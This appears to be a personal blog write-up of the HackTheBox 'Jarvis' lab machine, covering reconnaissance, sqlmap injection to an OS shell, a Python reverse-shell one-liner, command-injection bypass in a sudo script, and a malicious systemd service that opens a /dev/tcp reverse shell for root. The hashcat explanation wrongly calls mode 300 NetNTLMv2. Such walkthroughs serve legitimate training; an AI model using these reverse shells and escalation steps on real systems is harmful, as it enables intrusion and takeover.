Jarvis is our target for HackTheBox this week. Being a casual fan of Tony Stark for his love of both technology and booze, I was excited to take on this box. Let’s start, shall we?
FUN FACT: Did you know for a period of time that the Google Assistant on Android phones could be voice-activated with the phrase “Okay, Jarvis”? I used to launch it exclusively this way until they removed that feature.
It’s never not been my first step, so we’ll begin with Nmap:
nmap -sC -sV -oA Jarvis 10.10.10.143
-sC - Script scanning using the default script list.
-sV - Attempts version detection of protocols/applications during scan.
-oA - Output files in all formats
Jarvis - The name of the files for -oA output.
10.10.10.143 - The target machine’s IP address.
Only SSH and HTTP are currently open on this box. Taking a look at the web page, we can see a website for “…the Stark Hotel, A Luxury Hotel”. Insofar as I could tell, there wasn’t much to interact with on this page. Instead, I fired up my usual web tools as the next step.
gobuster -u http://10.10.10.143 -w /usr/share/wordlists/dirb/small.txt -o Jarvis.gob.txt
-u - Specifies the URL to gobust.
-w - Specifies the wordlist to use for brute-forcing directories. I find that small.txt is a good, default starting point for me. If needed, I can work my way up to bigger wordlists, but it hasn’t been necessary for me up to this point.
-o - Specifies the ouput file name.
nikto -host 10.10.10.143 -port 80 -output Jarvis.nikto
-host - Specifies the target hostname/IP address.
-port - Specified the target port number.
-output - Specifies the output file name.
We see a fair amount of output that warrants review, but after poking and reviewing things that I thought may be relevant, I ended up running a full Nmap scan across all ports just to be safe, and I did find two additional ports (5355 for LLMNR and 64999 for another HTTP port that will be interesting if not directly important shortly.) I was scratching my head at where to go next. I have access to a directory of images. Maybe stego is the challenge? There are a lot of interesting words on the website. Maybe I should generate a wordlist with cewl?
As per the norm, I reached out for some hints to my fellow 0x00sec HTB team members, and they did not fail. The answer to our path forward lies in one of the hotel rooms. Or, rather, it lies in rooms.php:
See how we can pass our own parameter to the cod function? This is the soft-spot we’ve been looking for. Now, I’m a complete novice at almost anything hacking-related, so I wasted time trying to abuse PHP directly, like trying to get it to call includes to fetch and execute a PHP reverse shell. After mentioning this to @pry0cc, he kindly corrected my course to something I have never messed with before: SQL injection, commonly known as SQLi. I have attempted to use sqlmap before, but in those instances I was totally wrong. This time, it was exactly the tool I needed. I started out slowly, trying to build up to more complex uses of the tool:
sqlmap -u http://jarvis.htb/room.php?cod=1 --risk 1 --delay 10
-u - Specifies the URL to be tested, complete with the function and sample parameter.
–risk 1 - Sets the risk level of the tests to be performed.
–delay - Sets the delay between tests in seconds.
Before we dig into the results, let’s discuss the –risk and –delay switches. Remember that interesting port I mentioned earlier? Well, turns out, if you get too aggressive with your scans, you’ll get yourself banned for 90 seconds:
Now, regarding the output, we can see that cod is vulnerable and that the backend database is MySQL. You can also see that, at least in Kali, output files are stored in /root/.sqlmap/output/jarvis.htb. Let’s proceed to the next step:
sqlmap -u http://jarvis.htb/room.php?cod=1 --risk 1 --delay 10 --dbs
–dbs - Tells sqlmap to pull a list of databases.
The –dbs switch will show you all of the databases running behind the server that it can. In this case, there are four. We can now start dumping data from each database (we could also take it slow and enumerate the tables, then columns, then rows, etc.):
sqlmap -u http://jarvis.htb/room.php?cod=1 --risk 1 --delay 10 -D hotel --dump-all
-D - Specifies the database we want to dump.
–dump-all - Tells sqlmap to dump the entire database.
So, what did I do? I dumped a lot of tables… or at least I tried. Eventually, after waiting for my lazy, imprecise attempts to finish, I decided to be a bit more surgical. Within the MySQL database itself was a table entitled users. I dumped this table and discovered a password hash.
I consulted with our helpful Discord hackbot, Karen, to determine the hash type:
I checked out the hashcat wiki to get the hash mode. I pasted the hash into a file named hashes.txt (minus the * character, as per the hashcat wiki this character is not a part of the hash.) Finally, I fired up hashcat:
hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt -o solvedhashes.txt
-m 300 - Tells hashcat to use mode 5600, or NetNTLMv2.
hashes.txt - Our input hash file.
/usr/share/wordlists/rockyou.txt - Our wordlist. Hashcat will hash each line in this file according to the selected mode, then compare it to the hashes in our input hash file. If there are any matches, hashcat will let us know.
-o solvedhashes.txt - Tells hashcat to output completed hashes to the specified file.
I tabbed out to check some stuff in sqlmap, and after some discussions distracted me, I decided to try another sqlmap switch:
sqlmap -u http://jarvis.htb/room.php?cod=1 --risk 1 --delay 10 --os-shell
–os-shell - Tells sqlmap to attempt uploading and executing a reverse shell to the server.
…and it worked. I was not honestly expecting this to work, but decided this was a better use of my time than continuing dumping and cracking (we’ll revisit the cracking subject a bit later, though.)
My first task was to get my shell into a more workable state. Being that this box is a webserver running PHP, I turned to my usual PHP reverse shell. I hosted it on my box with a python HTTP server:
python -m SimpleHTTPServer 9009
-m - Run a module.
SimpleHTTPServer - Launch a simple HTTP server, as the name implies.
9009 - The port on which the server will listen for incoming connections.
Once that was done, I used wget inside my os-shell to pull the file from my attacking machine into /var/www/html. Then, we set up our listener:
nc -lp 2113
-l - Listen mode.
-p 2113 - Specifies the port on which to listen.
Now we browse to hxxp://jarvis.htb/php-reverse-shell.php, and we’ll have our reverse-shell as www-data. I take a stab to see if I can make my shell a little better with python:
python -c 'import pty; pty.spawn("/bin/bash")'
-c - Specifies that python should run the command inside the ‘’ marks.
import pty - Tells python to import the pty module, which provides pseudo-terminal capabilities.
pty.spawn("/bin/bash") - Spawns a bash shell via pty.
I have a better shell now, so I can begin enumeration. I checked out /home, and the only user directory I see is pepper. I tried to read the contents of user.txt, but I did not have permission. I’d have to spend some more time performing enumeration.
I already had a copy of Linenum on my attacking machine, so I grab a copy of it to /tmp with wget, then make it executable with chmod. After running Linenum, I examine the output and immediately spot something of interest.
We already established that pepper is the user of interest, so this line seems very promising. I decided in this case to spin up a quick python web sever on the victim machine so I could pull a copy of simpler.py to my machine. Once this was completed, I started examining the code. I was particularly proud of myself for this part, as I spotted the vulnerable code with no trouble:
It seemed to me that if we could pass the right input to the -p switch, we’d get code execution as pepper. However, there is a catch; there are certain characters we can’t use, thanks to an array that is looped through to check our supplied input. If we use a forbidden character, the code prints a message and exits without executing os.system.
I had to research a bit, as I am not overly familiar with the ins and outs of python. I ended up re-writing a mock version of the function as a standalone script on my machine to understand it a bit. The first thing I learned was that the input we provide has to be enclosed in quotation marks. The next thing I learned was that we can get python to directly execute our input with os.system if we prepend it with a $ character. So, that having been said, even after using sudo to launch the script and abuse it to get a shell as pepper, the shell was not behaving properly. To make my life easier, I put together a simple python reverse shell script (after referencing NaviSec’s reverse shell guide) that I pulled to the victim using wget:
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.41",1119)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
I set up a new netcat listener on a new port to prepare for catching a new shell. Once that was done, I executed my attack:
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
Once prompted for input, I provided the following:
This gave me my limited shell, which I then upgraded by running my python script:
My listener caught the shell, I confirmed I was pepper, and I read the user flag!
I proceed to run Linenum again, this time as pepper. Once again, I am pleased with myself for seeing the path forward as quickly as I did.
I knew right away that this was going to be my path to root. All it took was reading man pages and a few different results on Google before I was ready to experiment. I experimented quite a bit with different ways to abuse my ability to execute systemctl, but in the end it came down to crafting my own service file. I named it pcshell.service and wrote it to /home/pepper. Below are the contents:
[Unit] Description=PC Shell [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.10.14.41/8891; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target
The magic here is the ExecStart property, which will execute everything after the = character as soon as the service is started. In our case, it will be attempting a reverse bash shell to yet another netcat listener on our system. Once this file has been created, we need to enable it as a service with systemctl:
systemctl enable /home/pepper/pcshell.service
Once the service has been created and linked, we can start it with systemctl:
systemctl start pcshell.service
And if we check out listener, even though it might not respond right away, we can interact, confirm we are root, and grab the flag!
And that concludes Jarvis. However, I did promise we’d revisit the hashes we dumped earlier.
Turns out, I was an idiot. If I read down a bit further, I would have seen the password clearly listed right next to the hash. Anyway, I tried these credentials at hxxp://jarvis.htb/phpmyadmin/ and was able to log in without issue. At this point, I am uncertain if this was a rabbit hole or another path to the initial foothold, but I felt it interesting enough to note.
Thanks for taking this journey with me. I learned a lot from this box, and I am proud of how much I was able to accomplish by slowing down, enumerating, reading man pages, Googling, experimenting, and just being patient overall.